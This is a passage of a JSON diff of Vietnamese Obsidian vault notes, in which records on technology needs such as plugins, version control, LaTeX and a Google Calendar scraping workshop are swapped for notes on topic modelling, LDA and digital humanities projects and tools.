"https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Viết plugin", + "Tiêu đề": "Lý thuyết đồ thị", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích mạng lưới, lý thuyết đồ thị/Lý thuyết đồ thị", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng cho nhu cầu công việc: `=filter(this.file.inlinks, (i) => contains(i.nhu-cầu-công-nghệ, [[]]))`\n\nLĩnh vực:: [[Lập trình hướng vật thể]]\nGiải pháp kỹ thuật:: [[API]], [[JavaScript]], [[Python]], [[VS Code]]", + "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Graphviz, Neo4j, Cytoscape]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T09:57:00.000Z", - "id": "Si" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T07:24:00.000Z", + "id": "Sw" }, { - "Tiêu đề": "Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên", + "Tiêu đề": "70% thời gian chỉ là để làm sạch dữ liệu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/70% thời gian chỉ là để làm sạch dữ liệu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]], [[Phát triển cộng đồng]]\nGiải pháp kỹ thuật:: [[Obsidian]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "Sj" + "Ngày tạo": "2023-05-29T08:11:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "Sx" }, { - "Tiêu đề": "Nhu cầu công nghệ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Nhu cầu công nghệ", + "Tiêu đề": "Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST giải-pháp-kỹ-thuật\nFROM \"📜Tài nguyên/Nhu cầu công nghệ\" \nWHERE file.name!=this.file.name\n```\nLĩnh vực:: [[Lĩnh vực]]\nGiải pháp kỹ thuật:: [[Giải pháp kỹ thuật]]\n", + "Toàn bộ nội dung": "Nguồn:: ![](https://youtu.be/ZYTXc2fK-JY)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-29T16:53:00.000Z", - "Ngày cập nhật": "2024-07-27T15:06:00.000Z", - "id": "Sk" + "Ngày tạo": "2023-05-30T07:31:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "Sy" }, { - "Tiêu đề": "Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý", + "Tiêu đề": "Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Sắp chữ, thiết kế, xuất bản]]\nNhu cầu công nghệ:: [[WYSIWYM]]", + "Toàn bộ nội dung": "Nguồn:: [A Complete Guide on Feature Extraction Techniques](https://www.analyticsvidhya.com/blog/2022/05/a-complete-guide-on-feature-extraction-techniques/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:58:00.000Z", - "id": "Sl" + "Ngày tạo": "2023-08-15T20:21:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "Sz" }, { - "Tiêu đề": "Hệ thống quản lý kiến thức", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/Hệ thống quản lý kiến thức", + "Tiêu đề": "Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]]\nGiải pháp kỹ thuật:: [[Obsidian]]\n\n[The Academic Knowledge Management (AKM) system that 10x’d my research productivity | Chris Lovejoy](https://www.chrislovejoy.me/akm)\n", + "Toàn bộ nội dung": "1. Mỗi văn bản có càng ít màu càng tốt\n2. Mỗi từ có càng ít màu càng tốt\n\nVới mỗi từ chưa được tô màu, thuật toán Gibbs sẽ thống kê các màu đã được tô trước, sau đó chọi phi tiêu vào để lấy màu theo xác suất. Như vậy màu nào thoả điều kiện thì sẽ có xác suất to hơn, nhưng vẫn không loại trừ những cái nhỏ hơn\n\n![1](https://i.stack.imgur.com/BfTJjm.png)\n\nNguồn:: ![Training Latent Dirichlet Allocation: Gibbs Sampling](https://www.youtube.com/watch?v=BaM1uiCpj_E&t=452s)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "Sm" + "Ngày tạo": "2023-06-03T04:28:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "S-" }, { - "Tiêu đề": "Kiểm soát phiên bản (version control)", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/Kiểm soát phiên bản (version control)", + "Tiêu đề": "Mô hình chủ đề rất hữu dụng cho việc diễn giải", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Mô hình chủ đề rất hữu dụng cho việc diễn giải", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Git, GitHub, GitKraken]]\n[Introduction to Version Control](https://geo-python-site.readthedocs.io/en/2022.0/lessons/L2/intro-to-GitHub.html)\n## Familiar?\n\n![xkcd DOCUMENTS comic](https://imgs.xkcd.com/comics/documents.png)\n\nSource: [https://xkcd.com/1459/](https://xkcd.com/1459/)\n\n![Motivation for version control](https://geo-python-site.readthedocs.io/en/2022.0/_images/version_control_motivation_comics.png)\n\nSource: “Piled Higher and Deeper” by Jorge Cham, [http://www.phdcomics.com](http://www.phdcomics.com) ", + "Toàn bộ nội dung": "Khái niệm:: [[Diễn giải, đọc]]\n\nWhat does this have to do with the humanities? Here is the rosy vision. A humanist imagines the kind of hidden structure that she wants to discover and embeds it in a model that generates her archive. The form of the structure is influenced by her theories and knowledge — time and geography, linguistic theory, literary theory, gender, author, politics, culture, history. With the model and the archive in place, she then runs an algorithm to estimate how the imagined hidden structure is realized in actual texts. Finally, she uses those estimates in subsequent study, trying to confirm her theories, forming new theories, and using the discovered structure as a lens for exploration. She discovers that her model falls short in several ways. She revises and repeats.\n\nNote that the statistical models are meant to help interpret and understand texts; it is still the scholar’s job to do the actual interpreting and understanding. A model of texts, built with a particular theory in mind, cannot provide evidence for the theory.[[5](https://journalofdigitalhumanities.org/2-1/topic-modeling-and-digital-humanities-by-david-m-blei/#topic-modeling-and-digital-humanities-by-david-m-blei-n-5)] (After all, the theory is built into the assumptions of the model.) Rather, the hope is that the model helps point us to such evidence. Using humanist texts to do humanist scholarship is the job of a humanist.\n\nIn summary, researchers in probabilistic modeling separate the essential activities of designing models and deriving their corresponding inference algorithms. The goal is for scholars and scientists to creatively design models with an intuitive language of components, and then for computer programs to derive and execute the corresponding inference algorithms with real data. The research process described above — where scholars interact with their archive through iterative statistical modeling — will be possible as this field matures.\n\nI reviewed the simple assumptions behind LDA and the potential for the larger field of probabilistic modeling in the humanities. Probabilistic models promise to give scholars a powerful language to articulate assumptions about their data and fast algorithms to compute with those assumptions on large archives. I hope for continued collaborations between humanists and computer scientists/statisticians. With such efforts, we can build the field of probabilistic modeling for the humanities, developing modeling components and algorithms that are tailored to humanistic questions about texts.\n\nNguồn:: [» Topic Modeling and Digital Humanities Journal of Digital Humanities](https://journalofdigitalhumanities.org/2-1/topic-modeling-and-digital-humanities-by-david-m-blei/)\n\nChính vì [[❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay]], nên [[Nhân văn số sử dụng mô hình chủ đề rất nhiều]].\n\n[[Bản chất của mô hình chủ đề là tô màu cho văn bản và từ]]\n[[Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:58:00.000Z", - "id": "Sn" + "Ngày tạo": "2024-08-10T09:10:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "S_" }, { - "Tiêu đề": "WYSIWYM", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Quản lý kiến thức/WYSIWYM", + "Tiêu đề": "Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]], [[Sắp chữ, thiết kế, xuất bản]]\n\n![](https://uploads-ssl.webflow.com/614e03b8b6446368c68222e3/6172eaa3c7df09246db4efa5_latex_effort_complexity.jpg) \n[Social sciences and humanities researchers, what is the final push that you decided to use LaTeX? : r/LaTeX](https://www.reddit.com/r/LaTeX/comments/1b14zgm/social_sciences_and_humanities_researchers_what/)\n[Are there illustrations on the struggle of Word on formatting in comparing with LaTeX? : r/LaTeX](https://www.reddit.com/r/LaTeX/comments/1b2t1sw/are_there_illustrations_on_the_struggle_of_word/?utm_source=embedv2&utm_medium=post_embed&utm_content=post_title&embed_host_url=https://publish.reddit.com/embed \"Are there illustrations on the struggle of Word on formatting in comparing with LaTeX? : r/LaTeX\")\n[[Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý]]\nfigures, graphics, index, table of contents, table of abbreviations, footnotes, references, bibliography, etc.\n![](https://i.imgur.com/0ApXpPU.png)\n[20220103\\_Appt\\_Brief.pdf](https://www.dropbox.com/scl/fi/f86hos68v828p020pzswp/20220103_Appt_Brief.pdf?rlkey=pvmu54w64yxsukp54ewd0pftj&e=1&dl=0)\nGeorgia Supreme Court argument, the Presiding Justice commended a TikZ graphic in a brief I wrote in LaTeX. See the 40:05 mark of S22G0019 Hall et al. v. Davis Lawn Care Service, Inc., et al. The video is here: [https://www.gasupreme.us/oral-arguments-april-19-2022/](https://www.gasupreme.us/oral-arguments-april-19-2022/)\n\n\n\nI think the answer is simply that LaTeX has a large network effect, and the benefit of interactiveness and responsiveness is small, making it still the dominant recommendation on writing complicate documents. Only when the interactiveness or responsiveness of the medium is necessary to convey the message that the authors have to use a non-LaTeX tool.\n\nFood for thoughts:\n\n- [The Network Effects Manual: 16 Different Network Effects (and counting)](https://www.nfx.com/post/network-effects-manual \"The Network Effects Manual: 16 Different Network Effects (and counting)\")\n- [What advantage does *TeX provide over modern tools like HTML+CSS+js?](https://tex.stackexchange.com/q/448032/50146)\n- [Why books donʼt work](https://andymatuschak.org/books/ \"Why books donʼt work | Andy Matuschak\")\n- [How can we develop transformative tools for thought?](https://numinous.productions/ttft/ \"How can we develop transformative tools for thought?\")\n\n[How can I convert my TeX-illiterate coworkers to LaTeX?](https://tex.stackexchange.com/q/102878/50146)", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Nhân văn số sử dụng mô hình chủ đề rất nhiều]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "So" + "Ngày tạo": "2024-08-10T10:29:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "T0" }, { - "Tiêu đề": "Cào web", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Cào web", + "Tiêu đề": "Nhân văn số sử dụng mô hình chủ đề rất nhiều", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Nhân văn số sử dụng mô hình chủ đề rất nhiều", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Lập trình web]]\nGiải pháp kỹ thuật:: [[API]], [[Python]], [[HTML]], [[BeautifulSoup]]", + "Toàn bộ nội dung": "Lý do:: [[❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay]], [[Mô hình chủ đề rất hữu dụng cho việc diễn giải]]\n\nCác dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin\n\n[[Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác]]\n[[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]\n[[Bản chất của mô hình chủ đề là tô màu cho văn bản và từ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:58:00.000Z", - "id": "Sp" + "Ngày tạo": "2023-05-31T06:36:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "T1" }, { - "Tiêu đề": "Nhập sự kiện vào Google Calendar", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Nhập sự kiện vào Google Calendar", + "Tiêu đề": "Các dự án, công cụ, tài nguyên cho nhân văn số", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Nhân văn số", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Các buổi hướng dẫn cào dữ liệu web vào Google Calendar", - "Toàn bộ nội dung": "Lĩnh vực:: [[Lập trình hướng vật thể]]\nGiải pháp kỹ thuật:: [[Python]], [[API]], [[VS Code]], [[Google Calendar]]\n\n\n![[Bàn làm việc Google Calendar.png]]\nBộ phận HR, marketing hoặc truyền thông nội bộ của công ty bạn muốn cập nhật các sự kiện trong năm để xây dựng nội dung nhưng việc cập nhật thủ công qua từng tháng, từng năm là một công việc mất nhiều thời gian? Việc nắm bắt xu hướng thông qua việc theo dõi các các sự kiện nổi bật trên các mạng xã hội như Facebook hay Tiktok rồi ghi chú thủ công trong Excel không đủ để bạn nhìn được số liệu dễ dàng và xem được sự kiện trong tuần hoặc trong tháng?\n\nQuả Cầu mong muốn tìm gặp và giới thiệu cho bạn hướng khai phá khả năng quản lý thời gian thông qua một công cụ quen thuộc – Google Calendar, đó là là nâng cấp ***“cuốn lịch biểu”*** Google Calendar của bạn trở thành ***“bàn làm việc”*** Google Calendar.\n\n**“Bàn làm việc” Google Calendar** là một bàn làm việc sử dụng Google Calendar như mặt bàn để tổ chức và quản lý thông tin về thời gian biểu ở quy mô lớn hơn. Quy mô này thể hiện qua khả năng kết nối các thông tin về sự kiện hay thời gian ở nhiều nền tảng web khác nhau và mang nó về Google Calendar của bạn. Điều này tạo ra những lợi ích lớn như:\n\n- ***NHANH:*** Tự động hóa việc cập nhật sự kiện nhờ liên kết giữa các nguồn dữ liệu\n- ***GỌN:*** Mở rộng giao diện quen thuộc và quản lý dữ liệu trực quan \n\nVậy, nếu bạn có mong muốn hiện thực hoá điều này, Quả Cầu sẽ cung cấp cho bạn cơ hội để hợp tác thực hiện thông qua việc đăng ký nhu cầu và tự định giá nhu cầu trong phiếu đăng ký dưới đây. \n\nVề vấn đề đăng ký nhu cầu, Quả Cầu khuyến khích bạn nêu rõ lý do bạn muốn tham gia và đồng thời **thiết kế lộ trình làm việc và kết quả đầu ra** phù hợp với nhu cầu phát triển dự án cá nhân của bạn (nếu có) dựa trên gợi ý như sau:\n- Thời gian: 1 buổi (3-4 tiếng online/offline) để bạn cài đặt và hiểu công cụ + 2 tuần sau buổi đào tạo đầu tiên (hỗ trợ qua chat mỗi ngày và 2 buổi gặp mặt online/offline) để Quả Cầu trao đổi, tư vấn với bạn trong việc ứng dụng công cụ cho dự án cá nhân. \n- Nội dung:\n\t- Hiểu về cách các sự kiện được lưu trữ trên website\n\t- Cấu trúc website và ý tưởng của phương pháp lấy nội dung mình cần\n\t- Cài đặt và sử dụng các công cụ lập trình (Python, VS Code) \n\t- Hiểu về vật thể và API. Hiểu điều các công cụ lập trình đang cố gắng nói cho mình\n\t- Truyền dữ liệu lấy từ web vào Google Calendar\n\nKết quả đầu ra ví dụ:\n![[Bàn làm việc Google Calendar demo.png]]\n\nVề vấn đề tự định giá, Quả Cầu cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn** vì đây là dự án phục vụ nhu cầu và dựa trên thiết kế lộ trình làm việc của bạn. Với nhu cầu và thiết kế đó, Quả Cầu khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận).\n\nSau khi xem xét các đăng ký, Quả Cầu sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\nĐọc thêm các bài sau đây để hiểu hơn về ý tưởng này:\n- [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n - [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n - [[Lý do viết Trấn Kỳ|Tại sao các phần mềm nocode hay ChatGPT vẫn không đủ để thay thế lập trình trong việc quản trị?]]\n\nThông tin liên hệ:\n\n- **Facebook:** [https://www.facebook.com/qua.cau.the.sphere](https://www.facebook.com/qua.cau.the.sphere)\n- **Email:** quacau.thesphere@gmail.com\n\nRất mong được đồng hành cùng bạn.\n\n[[Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể]]\n\n\nCác sự kiện trên fb event nó ko thuần tuý là 1 events như dạng ticketbox mà nó giống quảng bá hơn\n\nCần ticketbox hơn vì nó là dạng bán vé ở cấp độ chuyên nghiệp hơn, nội dung và giá trị đc chỉnh chu hơn. VD, em ko fai fan hài kịch, nhưng e biết đc có các loại hình hài kịch: standup comedy, hài bài banrm, sân khấu kịch, các vở kịch về các câu chuyện sắp tới, khiến e có thể cân nhắc tham gia để hiểu biết hơn. Hoặc nếu e thấy toàn workshop về bánh và mùa thu → e có thể cân nhắc viết content hay các bài viết về topic này. vậy rộng hơn đây, e thấy có water show: ah e có thể cân nhắc dẫn con em đi xem, hoặc workshop yêu hoà bình, e sẽ xem có gì relevant ko mà lại làm topic này tại thời điểm này, nghĩa là nội title của có thể hint cho em nhiều thứ", + "Mô tả bài đăng": "Nhân văn số là một lĩnh vực giao thoa giữa ngành khoa học máy tính và các ngành khoa học xã hội và nhân văn.", + "Toàn bộ nội dung": "Giới thiệu: [Nhân văn số thức: Một lát cắt của xã hội toàn cầu - Tạp chí Tia sáng](https://tiasang.com.vn/khoa-hoc-cong-nghe/nhan-van-so-thuc-mot-lat-cat-cua-xa-hoi-toan-cau-11139/)\n\n## Dự án\n### Giáo dục số: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\nNhiều dự án nhân văn số rồi, nên chỉ tập trung vào các tài liệu giúp hướng dẫn một người tìm ra được dự án mình đang cần\n\n### Xã hội học số: [Đồ thị mạng lưới 100+ niềm tin](https://xn--qucu-hr5aza.cc/phan-tich-mot-mang-luoi-100-niem-tin/?utm_source=CV+%C2%BB+T%C3%A0i+nguy%C3%AAn+NLP+v%C3%A0+nh%C3%A2n+v%C4%83n+s%E1%BB%91&utm_medium=Ph%C3%A2n+t%C3%ADch+m%E1%BB%99t+m%E1%BA%A1ng+l%C6%B0%E1%BB%9Bi+100%2B+ni%E1%BB%81m+tin&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2) \n![[Đồ thị 100+ niềm tin.gif]]\n\n### Văn hoá số: Các cuộc đối thoại đang được chia sẻ như thế nào? \nđối ⊷ thoại là một chương trình tạo liên kết UTM và rút gọn liên kết dành cho người Việt. Nó hướng đến việc:\n- [[Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn]]\n- [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người]]\n- [[Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng]]\n\nDữ liệu của nó là công khai.\n\n### Nghệ thuật số: Dòng chảy nghệ thuật ở Việt Nam\nHanoi Grapevine từ lúc sáng lập cho tới nay đã có được 2 TB dữ liệu về các sự kiện nghệ thuật ở Hà Nội. Tuy nhiên họ không có nhân lực để làm được gì với đống dữ liệu này. Mong muốn của họ là làm được một cái tương tự như [Tinh thần bằng hữu](http://www.spiritoffriendship.org/artists), một bản đồ khái quát hoạt động của ít nhất 20 nhóm nghệ sĩ thị giác trên khắp Việt Nam.\n\nTrong [các dự án nhân văn số về lịch sử nghệ thuật](http://imageresources.weebly.com/digital-humanities-projects.html \"Digital humanities projects - Digital Resources Guide\") thì có dự án [Inventing Abstraction](https://www.moma.org/interactives/exhibitions/2012/inventingabstraction) giúp sơ đồ hoá mối quan hệ giữa các nghệ sĩ, là có vẻ tham khảo được.\n![[Pasted image 20231111161912.png]]\n\nNếu nói chung về nhân văn số trong nghệ thuật, thì nổi tiếng nhất chắc là dự án [Google Arts & Culture](https://artsandculture.google.com/ \"Google Arts & Culture\"). Ai quan tâm có thể xem thêm bài giới thiệu của giám đốc dự án này trên TED: [Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood](https://www.youtube.com/watch?v=cSpOCSVt--k \"Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood - YouTube\"). \n\n### [WE1S – A 4Humanities Project](https://we1s.ucsb.edu/): tìm hiểu cách truyền thông nói về các ngành nhân văn\nDự án WhatEvery1Says (WE1S) sử dụng các phương pháp nhân văn kỹ thuật số để nghiên cứu các diễn ngôn truyền thông về nhân văn ở quy mô dữ liệu lớn. Dự án tập trung vào, nhưng không giới hạn, các bài báo báo chí ở Hoa Kỳ có sẵn ở dạng văn bản kỹ thuật số bắt đầu vào khoảng năm 1981. Các tài liệu khác bao gồm phương tiện truyền thông xã hội. Giả thuyết của dự án là các phương pháp kỹ thuật số có thể giúp chúng ta tìm hiểu những điều mới về cách nhân văn được miêu tả trong diễn ngôn công khai. \n\nMục tiêu cuối cùng của dự án WE1S là cung cấp cho những người ủng hộ nhân văn với các tài liệu và chiến lược dựa trên nghiên cứu để giao tiếp hiệu quả về giá trị của kiến thức nhân văn trong thế giới ngày nay với bằng chứng, lập luận, câu chuyện và kịch bản có thể dùng để thúc đẩy, thay vì đơn giản là phản ứng lại, đối thoại công khai (public conversation).\n\n- [Trang chủ dự án](https://we1s.ucsb.edu/ \"https://we1s.ucsb.edu/\")\n- [Tài liệu giới thiệu chi tiết](https://we1s.ucsb.edu/wp-content/uploads/WE1SIllustratedGuide.pdf)\n- [Kho Obsidian](https://publish.obsidian.md/we1s/WE1S) thể hiện mối liên hệ giữa các bộ sưu tập, phương pháp, công cụ, phát hiện và kêu gọi hành động/giao tiếp của dự án\n\n## Công cụ\n### [Text Encoding Initiative](https://en.wikipedia.org/wiki/Text_Encoding_Initiative)\nQuy chuẩn hoá định dạng dữ liệu cho các dự án nhân văn số\n### [Qualitative Analysis Environment](https://axle.design/an-integrated-qualitative-analysis-environment-with-obsidian): kho Obsidian mẫu cho phân tích định tính\nMột vault Obsidian mẫu cho phân tích định tính. MaxQDA, NVivo, Atlas.ti, và các phần mềm tương tự tuy mạnh, nhưng lại phức tạp và tốn nhiều tiền. Nếu cần một cái đủ đơn giản và miễn phí thì có thể dùng cái này.\n\n### Mô hình chủ đề (topic modelling)\n[[Nhân văn số sử dụng mô hình chủ đề rất nhiều]]\n\n- [Topic modeling made just simple enough. – The Stone and the Shell](https://tedunderwood.com/2012/04/07/topic-modeling-made-just-simple-enough/)\n- [Topic Modeling for Humanists: A Guided Tour – the scottbot irregular](http://www.scottbot.net/HIAL/index.html@p=19113.html)\n- [The LDA Buffet is Now Open; or, Latent Dirichlet Allocation for English Majors Matthew L. Jockers](https://www.matthewjockers.net/2011/09/29/the-lda-buffet-is-now-open-or-latent-dirichlet-allocation-for-english-majors/)\n- [Topic Modeling](https://whatevery1says.github.io/workshops/topic-modeling/slideshow/index.html#/)\n\n### [Python Tutorials for Digital Humanities](https://www.youtube.com/@python-programming)\n![Python Tutorials Introduction to Youtube Channel Page - YouTube](https://www.youtube.com/watch?v=i4MneyaJPG4)\n\n### [Heurist Network](https://heuristnetwork.org/): quản lý cơ sở dữ liệu mã nguồn mở \n![Video](https://www.youtube.com/watch?v=wuh9SRtE8eE&width=640&height=480)\nHình 1: các tính năng. Hình 2: giao diện sử dụng. \n![](https://raw.githubusercontent.com/HeuristNetwork/heurist/h6dev/documentation_and_templates/assets/model%20and%20build.jpg) \n![](https://raw.githubusercontent.com/HeuristNetwork/heurist/h6dev/documentation_and_templates/assets/main%20interface%20v6.jpg) \nHEURIST is a research-driven data management system that puts _you_ in charge, allowing you to **design, populate, explore and publish** your own richly-structured database(s) within hours, through a simple web interface, without the need for programmers or consultants. We provide full support, including round-the clock email support, live workshops, online tutorials and access to a global network of Heurist users.\n\nHEURIST is agile. You can **build a capable database and a CMS website in a matter of hours**, starting with a simple design and building incrementally as needs change, modifying the live database on-the-fly. Use our free servers, which support hundreds of projects and are centrally maintained. It is easy to migrate data in and out of Heurist, because of its standard, open-source design, and its ability import and export common data formats.\n\nWant to get started with Heurist? Try our [Tutorials →](https://heuristnetwork.org/tutorials)\n\nHEURIST is flexible. It can **effectively store, analyse and publish a wide variety of Humanities data**, whether you’re a musicologist collecting songs, an archaeologist collecting objects, or a historian collecting events. HEURIST can handle everything: text, numbers, hierarchical classifications, images, video, spatial data and dates (including non-western and approximate dates). Rich relationships between records can be built with ease.\n\nWant to see how others use Heurist? See our [Featured Projects →](https://heuristnetwork.org/featured-projects)\n\nHEURIST gets results. You can **perform sophisticated filtering**, then **save, organise and publish the results** as interactive maps, timelines, network visualisations, cross-tabulations, lists, custom reports, and a range of export formats, all of which can easily be embedded live in a website created in Heurist’s internal CMS, or in a personal or institutional website.\n\n## Tài 